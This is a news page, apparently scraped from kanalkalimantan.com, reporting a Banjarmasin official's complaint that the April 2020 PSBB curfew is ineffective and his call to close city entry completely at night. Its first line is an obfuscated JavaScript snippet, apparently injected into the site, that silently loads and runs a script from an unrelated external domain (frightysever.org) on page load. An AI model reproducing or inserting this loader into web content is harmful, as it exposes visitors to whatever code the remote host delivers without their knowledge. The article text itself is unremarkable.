(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Jam Malam Selama PSBB Tak Efektif, Ichwan: Kalau Cuma Cek Orang Satu-satu Bikin Capek


KANALKALIMANTAN.COM, BANJARMASIN –  Pemberlakuan jam malam saat pelaksanaan pembatasan sosial berskala besar (PSBB) menuai perbedaan pendapat dari sejumlah pihak di Pemerintah Kota Banjarmasin.

Hal itu diakui Kepala Dinas Perhubungan Kota Banjarmasin Ichwan Noor Chalik bahwa pemberlakuan jam malam seperti tidak berfungsi dengan baik. Pasalnya, Ichwan menilai arus lalu lintas yang keluar masuk di Banjarmasin masih seperti biasa, hanya saja yang membedakan ada pemeriksaan petugas saat masuk.

“Seharusnya pemberlakuan jam malam itu ditutup total masuk ke Banjarmasin, walaupun KTP Banjarmasin, tetap tidak diperbolehkan masuk,” katanya, Minggu (26/4/2020).

Ichwan menjelaskan, pengertiannya pemberlakuan jam malam harusnya tak ada aktifitas apapun, baik dalam kota maupun akses keluar masuk. Di mana, seharusnya masyarakat sudah harus mengetahui, bahwa di Banjarmasin ada jam malam, lewat dari pukul 21.00 Wita tidak ada yang boleh masuk.

“Kalau mau kembali, ya sebelum jam itu,” tegas Ichwan.

Namun demikian, dengan kondisi seperti ini Ichwan meminta agar dilakukan rapat terbatas dengan sejumlah pihak guna membahas dan menyatukan persepsi pemberlakuan jam malam di Banjarmasin. “Nanti Senin saya minta rapat terbatas, untuk menyatukan persepsi tentang pemberlakuan jam malam ini,” ungkapnya.

Kota Banjarmasin memberlakukan PSBB sejak Jum’at (24/4/2020). foto: fikri

Sebab dari pantauan di lapangan, Ichwan menilai, dari 4 titik jalur perbatasan yang dilakukan penjagaan, nampak masih membiarkan warga keluar masuk saat jam malam. Ichwan yang juga Plt Kasatpol PP Kota Banjarmasin ini pun tidak segan mengancam akan menarik personel Satpol PP dan Dishub Kota Banjarmasin di sejumlah pos pemberlakuan PSBB, jika kondisinya masih seperti ini.

“Karena, ngapain menunggu malam-malam kalau kerjaannya cuma mengecek KTP orang satu-satu dan orang juga masih bisa keluar masuk, kan cuma bikin capek saja,” cetusnya.

Sebab, ia menginginkan pemberlakuan jam malam berjalan efektif dan akses keluar masuk kota Banjarmasin harus di tutup total agar penanganan demi memutus mata rantai Covid-19 bisa berjalan maksimal. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

5 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

8 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

14 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

14 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

17 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

21 jam ago

This website uses cookies.